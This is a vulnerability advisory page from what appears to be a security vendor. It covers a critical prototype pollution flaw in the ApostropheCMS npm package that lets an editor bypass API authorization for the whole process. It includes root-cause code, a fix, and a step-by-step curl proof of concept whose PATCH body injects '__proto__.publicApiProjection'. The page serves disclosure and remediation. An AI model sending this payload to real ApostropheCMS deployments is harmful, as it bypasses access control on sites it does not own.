Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

GHSA-6h5j-32cf-4253 — apostrophe

CRITICALFix: apostrophecms/apostrophe#5464

GHSA-6h5j-32cf-4253 is a critical-severity (CVSS 9.1) CWE-1321 vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.

Apostrophe has Server-Side Prototype Pollution in apos.util.set via patch operators that leads to process-wide authorization bypass

Also known asCVE-2026-53609
Published
Jul 31, 2026
Updated
Jul 31, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6h5j-32cf-4253.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs29th percentile — riskier than 29% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-6h5j-32cf-4253 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 380,066 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
apostrophenpm
7Kdownloads / week

Description

<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" />

Summary

apos.util.set() traverses dot-notation paths without sanitizing __proto__, allowing an authenticated editor to write arbitrary values to Object.prototype via the $pullAll patch operator.

A confirmed gadget in publicApiCheck() causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process.


Details

Root Cause — apos.util.set() (modules/@apostrophecms/util/index.js ~line 800)

The function splits a dot-notation path and traverses properties without rejecting __proto__, constructor, or prototype:

set(o, path, v) {
  path = path.split('.');
  for (i = 0; i < path.length - 1; i++) {
    o = o[path[i]];   // when path[i] === '__proto__', o becomes Object.prototype
  }
  o[path[i]] = v;     // mutates Object.prototype
}

Source — implementPatchOperators() (modules/@apostrophecms/schema/index.js ~line 1737)

User-controlled keys from the $pullAll operator are passed directly to apos.util.set():

_.each(patch.$pullAll, function(val, key) {
  cloneOriginalBase(key);               // uses _.has (hasOwnProperty)
  self.apos.util.set(patch, key, ...);  // key is fully attacker-controlled
});

cloneOriginalBase() does not sanitize __proto__ because _.has() performs an own-property check. Since __proto__ is inherited rather than an own property, the clone step is skipped and execution falls through to apos.util.set().

The same unsanitized call also appears for direct dot-notation keys in the PATCH body (~line 1811), providing a second independent entry point.


Gadget — publicApiCheck() (modules/@apostrophecms/piece-type/index.js ~line 1148)

publicApiCheck(req) {
  if (!self.options.publicApiProjection) {
    if (!self.canAccessApi(req)) {
      throw self.apos.error('notfound');
    }
  }
}

Once Object.prototype.publicApiProjection is set to any truthy value (for example []), every module instance inherits it.

Because JavaScript property lookup resolves inherited properties from Object.prototype, the condition:

!self.options.publicApiProjection

evaluates to false for all modules.

As a result, the authorization check is skipped for every subsequent request handled by the process.


Proof of Concept

Environment: ApostropheCMS v4.30.0, Node.js, MongoDB

Prerequisites: Editor-level credentials

Step 1 — Confirm Endpoint Is Protected (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"name":"notfound","data":{},"message":"notfound"}

Step 2 — Obtain Editor Token

TOKEN=$(curl -s -X POST http://localhost:3000/api/v1/@apostrophecms/login/login \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"..."}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

Step 3 — Poison Object.prototype via $pullAll

curl -X PATCH "http://localhost:3000/api/v1/@apostrophecms/global/{docId}:en:draft" \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -H "Cookie: apos-testapp.csrf=csrf" \
  -H "X-XSRF-TOKEN: csrf" \
  -d '{"$pullAll":{"__proto__.publicApiProjection":[]}}'

Response:

HTTP/1.1 200 OK

Step 4 — Authorization Bypass Confirmed (Unauthenticated)

curl -s http://localhost:3000/api/v1/@apostrophecms/user

Response:

{"pages":0,"currentPage":1,"results":[]}

The endpoint now returns a valid paginated response instead of notfound.

No credentials are supplied.

Execution passes publicApiCheck() and reaches query processing. The empty result set reflects document-level visibility filtering; the authorization gate itself has been bypassed.

Cleanup

The pollution persists until the Node.js process is restarted.


Impact

Vulnerability Type

Server-Side Prototype Pollution leading to Authorization Bypass (CWE-1321)

Who Is Impacted

Any ApostropheCMS installation where at least one editor-level account exists.

This is the default configuration for multi-user CMS deployments.

Security Impact

A single PATCH request from an editor permanently modifies authorization behavior for the entire Node.js process.

All subsequent unauthenticated requests to piece-type REST API endpoints bypass publicApiCheck().

Verified affected endpoints include:

  • @apostrophecms/user
  • @apostrophecms/global

Based on the shared authorization implementation, other piece-type REST endpoints appear similarly affected.

The bypass affects every unauthenticated visitor until the server is restarted.


Suggested Fix

Reject dangerous prototype-related path segments before traversal:

if (
  p === '__proto__' ||
  p === 'constructor' ||
  p === 'prototype'
) {
  return;
}

Apply the same validation both:

  1. Inside apos.util.set()
  2. Before passing user-controlled keys into apos.util.set() from implementPatchOperators()

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmapostropheall versions4.31.0npm install apostrophe@4.31.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update apostrophe to 4.31.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6h5j-32cf-4253 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

<img width="1919" height="1046" alt="proto" src="https://github.com/user-attachments/assets/c5c69718-6448-448d-b64b-e3db41ab6ff6" /> ## Summary `apos.util.set()` traverses dot-notation paths without sanitizing `__proto__`, allowing an authenticated editor to write arbitrary values to `Object.prototype` via the `$pullAll` patch operator. A confirmed gadget in `publicApiCheck()` causes this to bypass authorization on all piece-type REST API endpoints for every subsequent unauthenticated request, for the lifetime of the Node.js process. --- ## Details ### Root Cause — `apos.util.set()` (`mo
O3 Security · Impact-Aware SCA

Is GHSA-6h5j-32cf-4253 in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-6h5j-32cf-4253: apostrophe (Critical 9.1) | O3 Security